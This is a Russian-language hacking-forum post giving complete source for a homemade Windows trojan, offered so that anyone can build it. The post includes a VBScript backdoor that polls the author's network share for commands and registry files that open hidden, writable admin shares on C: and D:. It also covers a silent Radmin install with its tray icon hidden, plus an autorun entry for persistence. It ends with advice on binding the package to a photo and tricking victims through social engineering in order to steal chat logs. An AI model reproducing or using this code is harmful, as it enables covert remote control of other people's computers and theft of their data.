PDA

Просмотр полной версии : мой первый троян


s_p_a_m
17.04.2008, 17:06
это моя первая статья про мой первый троян, нашел его недавно, возможно комуто пригодится, так как зделать его сможет даже человек ничего в этом не смыслящий.

Для написания нам понадобится блокнот, r_admin, Joiner, Win Rar, WhoIsConnected

И так в исходниках троян будет представлять из себя несколько файлов:

server.vbs
klient.vbs
D.bat
D.reg
r.bat
r.reg
test.vbs
r.exe
raddrv.dll
admDll.dll

Ну я начну с описания каждого файла по порядку
server.vbs (полностью каждую строку я описывать не буду, кому надо думаю сами разберутся..)

это именно сам файл сервера
on error resume next

on error resume next
do
set WshShell = WScript.CreateObject("WScript.Shell")
Set FileSystemObject = CreateObject("scripting.filesystemobject")
set fs=createobject("Scripting.FileSystemObject")'FileSystem
if fs.fileexists("\\127.0.0.1\ПАПКА\1") then
set mplayer=CreateObject("WMPlayer.OCX.7")
mplayer.cdromcollection.item(count).eject()
FileSystemObject.DeleteFile "\\127.0.0.1\ПАПКА\1" , True
end if
" в качестве \\127.0.0.1\ПАПКА\ была папка открытая у меня на доступе в которой если я создам файл с именем "1" без расширения то открывается лоток СД на заражонном компе

if fs.fileexists("\\127.0.0.1\ПАПКА\2.vbs") then
set WshShell = WScript.CreateObject("WScript.Shell")

WshShell.Run "\\127.0.0.1\ПАПКА\2.vbs"

"если существует файл 2.vbs у меня на доступе то он запускается



Wscript.sleep(30000)
FileSystemObject.DeleteFile "\\127.0.0.1\ПАПКА\2.vbs" , True
end if
"и удаляем 2.vbs
if fs.Folderexists("\\127.0.0.1\ПАПКА\4") then
Set aa= FileSystemObject.GetFolder("\\127.0.0.1\ПАПКА\4")
aa.copy("C:\Windows\")
aa.delete
end if
"тут если папка с именем "4" существует то все ее содержимое копируется на C:\Windows\ удаленного компа

if fs.fileexists("\\127.0.0.1\ПАПКА\5") then
Set Shell = CreateObject("WScript.Shell")
Shell.run "D.bat",0,1
Set Shell= Nothing
FileSystemObject.DeleteFile "\\127.0.0.1\ПАПКА\5" , True

"Если существует файл "5" тогда на удаленном компе запускается файл D.bat (его содержимое будет описано далее)

end if

if fs.fileexists("\\127.0.0.1\ПАПКА\6") then
Set Shell = CreateObject("WScript.Shell")
Shell.run "r.bat",0,1
Set Shell= Nothing
FileSystemObject.DeleteFile "\\127.0.0.1\ПАПКА\6" , True

"если существует "6" запускается r.bat

end if


if fs.fileexists("\\127.0.0.1\ПАПКА\3") then
FileSystemObject.DeleteFile "\\127.0.0.1\ПАПКА\3" , True
Wscript.sleep(30000)
dim OpSysSet, obj
Set OpSysSet = GetObject("winmgmts:{impersonationLevel=impersonate," & _
"(Shutdown)}//./root/cimv2").ExecQuery _
("SELECT * FROM Win32_OperatingSystem" &_
" WHERE Primary=true")


For Each obj In OpSysSet
obj.Win32Shutdown(8)
Next
end if

"в этом куске, если у меня на доступе есть файл 3 то компьютер жертвы выключается


loop





klient.vbs ''это сбствено файл клиента, который и буде создавать в указаной папке те самые файлы на которые реагирует сервер
Set FileSystemObject = CreateObject("scripting.filesystemobject")
FileName = InputBox("-Для открытия лотка CD- введите 1 -Для отправки сообщения -введите 2 -Для выключения компьютера-введите 3 -Для копирования файлов на компьютер-введите 4 -Для открытия доступа к дискам С и D - введите 5.Сработает после перезагрузки -Для установки Р_Админа нажмите 6. Пароль pass port = 7777 ")
if Filename = 1then
FileSystemObject.CreateTextFile "\\192.168.3.159\Svalka\1"
end if
if Filename = 2 then
sms = InputBox("введите текст сообщения в кавычках, например: ""привет вася"" обязательно только так!!! ")

Set sss = FileSystemObject.OpenTextFile("\\192.168.3.159\Svalka\2.vbs", 8, True)
sss.WriteLine ("msgbox " & sms)
sss.close
end if
if Filename = 3 then
FileSystemObject.CreateTextFile "\\192.168.3.159\Svalka\3"
end if

if Filename = 4 then
FileSystemObject.CreateFolder "\\192.168.3.159\Svalka\4"

file = InputBox(" Введите путь к папке с файлами, фалы скопируются в папку C:\Windows")
Set aa= FileSystemObject.GetFolder("" & file)
aa.copy("\\192.168.3.159\Svalka\4")
end if

if Filename = 5 then

FileSystemObject.CreateTextFile "\\192.168.3.159\Svalka\5"
end if

if Filename = 6 then

FileSystemObject.CreateTextFile "\\192.168.3.159\Svalka\6"
end if

if Filename = 7 then

FileSystemObject.CreateTextFile "\\192.168.3.159\Svalka\7"
end if


с этим я думаю и так все ясно, описывать здесь я думаю нечего
D.bat

этот файл добавляет в реестр значение из файла D.reg без запроса "Вы действительно хотите добавить даныые в реестр?"

@ECHO OFF
regedit /i /s D.reg


D.reg

этот файл открывает доступ с правами записи/удаления на диски С:\\ и D:\\ в таком режиме что их не будет видно если вы просто зайдете на адресс локального компа, адресс нужно будет воодить как 192.168.1.1\1$ или же 192.168.1.1\2$ для диска Ц и Д
его содержимое:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\l anmanserver\Shares]
"1$"=hex(7):43,00,53,00,43,00,46,00,6c,00,61,00,67,00, 73,00,3d,00,30,00,00,00,\
4d,00,61,00,78,00,55,00,73,00,65,00,73,00,3d,00,34 ,00,32,00,39,00,34,00,39,\
00,36,00,37,00,32,00,39,00,35,00,00,00,50,00,61,00 ,74,00,68,00,3d,00,43,00,\
3a,00,5c,00,00,00,50,00,65,00,72,00,6d,00,69,00,73 ,00,73,00,69,00,6f,00,6e,\
00,73,00,3d,00,30,00,00,00,52,00,65,00,6d,00,61,00 ,72,00,6b,00,3d,00,00,00,\
54,00,79,00,70,00,65,00,3d,00,30,00,00,00,00,00
"2$"=hex(7):43,00,53,00,43,00,46,00,6c,00,61,00,67,00, 73,00,3d,00,30,00,00,00,\
4d,00,61,00,78,00,55,00,73,00,65,00,73,00,3d,00,34 ,00,32,00,39,00,34,00,39,\
00,36,00,37,00,32,00,39,00,35,00,00,00,50,00,61,00 ,74,00,68,00,3d,00,44,00,\
3a,00,5c,00,00,00,50,00,65,00,72,00,6d,00,69,00,73 ,00,73,00,69,00,6f,00,6e,\
00,73,00,3d,00,30,00,00,00,52,00,65,00,6d,00,61,00 ,72,00,6b,00,3d,00,00,00,\
54,00,79,00,70,00,65,00,3d,00,30,00,00,00,00,00

[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\l anmanserver\Shares\Security]
"1$"=hex:01,00,04,80,30,00,00,00,4c,00,00,00,00,00,00, 00,14,00,00,00,02,00,1c,\
00,01,00,00,00,00,00,14,00,bf,01,13,00,01,01,00,00 ,00,00,00,01,00,00,00,00,\
01,05,00,00,00,00,00,05,15,00,00,00,6b,d6,62,04,eb ,25,79,2c,43,17,0a,32,eb,\
03,00,00,01,05,00,00,00,00,00,05,15,00,00,00,6b,d6 ,62,04,eb,25,79,2c,43,17,\
0a,32,01,02,00,00
"2$"=hex:01,00,04,80,30,00,00,00,4c,00,00,00,00,00,00, 00,14,00,00,00,02,00,1c,\
00,01,00,00,00,00,00,14,00,bf,01,13,00,01,01,00,00 ,00,00,00,01,00,00,00,00,\
01,05,00,00,00,00,00,05,15,00,00,00,6b,d6,62,04,eb ,25,79,2c,43,17,0a,32,eb,\
03,00,00,01,05,00,00,00,00,00,05,15,00,00,00,6b,d6 ,62,04,eb,25,79,2c,43,17,\
0a,32,01,02,00,00

[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\l anmanserver\Shares\Security]
"1$"=hex:01,00,04,80,30,00,00,00,4c,00,00,00,00,00,00, 00,14,00,00,00,02,00,1c,\
00,01,00,00,00,00,00,14,00,bf,01,13,00,01,01,00,00 ,00,00,00,01,00,00,00,00,\
01,05,00,00,00,00,00,05,15,00,00,00,6b,d6,62,04,eb ,25,79,2c,43,17,0a,32,eb,\
03,00,00,01,05,00,00,00,00,00,05,15,00,00,00,6b,d6 ,62,04,eb,25,79,2c,43,17,\
0a,32,01,02,00,00
"2$"=hex:01,00,04,80,30,00,00,00,4c,00,00,00,00,00,00, 00,14,00,00,00,02,00,1c,\
00,01,00,00,00,00,00,14,00,bf,01,13,00,01,01,00,00 ,00,00,00,01,00,00,00,00,\
01,05,00,00,00,00,00,05,15,00,00,00,6b,d6,62,04,eb ,25,79,2c,43,17,0a,32,eb,\
03,00,00,01,05,00,00,00,00,00,05,15,00,00,00,6b,d6 ,62,04,eb,25,79,2c,43,17,\
0a,32,01,02,00,00


r.bat файл для установки и Р_Адммина, c паролем pass на порт 7777, и записи в реестр данных из r.reg
@ECHO OFF
regedit /i /s r.reg
start r.exe /install /pass:pass /port:7777 /save /silence
start r.exe


r.reg собственно чтобы наш радмин не палился в трее,и его удаленная установка с правельными параметрами
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin]

[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0]

[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server]

[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\iplis t]

[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Param eters]
"Port"=hex:79,1d,00,00
"Timeout"=hex:0a,00,00,00
"EnableLogFile"=hex:00,00,00,00
"LogFilePath"=""
"FilterIp"=hex:00,00,00,00
"DisableTrayIcon"=hex:01,00,00,00
"AutoAllow"=hex:00,00,00,00
"AskUser"=hex:00,00,00,00
"EnableEventLog"=hex:00,00,00,00
"NTAuthEnabled"=hex:00,00,00,00
"Parameter"=hex:e4,4e,f0,f4,df,c9,4a,2f,d5,3d,24,a3,a1,ee,2b, 69

test.vbs добавляет файл нашего сервера в автозагрузку
set WshShell = CreateObject("WScript.Shell")
WshShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run\test", "C:\Windows\system32\server.vbs"

r.exe
raddrv.dll
admDll.dll файлы самого р_админа

все эти файлы собираются в самоизвлекающийся архив, сформированый таким образом что файлы распаковываются в C:\Windows\system32 а в автозагрузке создается ярлык для test.vbs .

с помощью программы WhoIsConnected мы смотрим кто лезет к нам на шару, и там будет список наших зараженных айпишников, так как файл сервера бесконечно сканирует
нашу общедоступную папку на которую у нас открыт доступ и ищет там файлы которые в нем прописаны, как только сервер находит у нас файл с определенным именем то он начинает выполнять действия которые соответствуют имени найденого файла. При желании к этому "трояну" можно дописать есче очень много опций но это была моя первая "полезная" программа которую я задумывал для воровства логов с чата :), Созданый самораспаковывающийся архив склеивался с какойнибудь фоткой, или флешкой и выкидывался на шару, или же жертве с помощью СИ, для начала знакомился потом обменивались фотками, но у меня была не простая фотка :)вообщем методов впарить много, была бы фантазия

(c) spam for antichat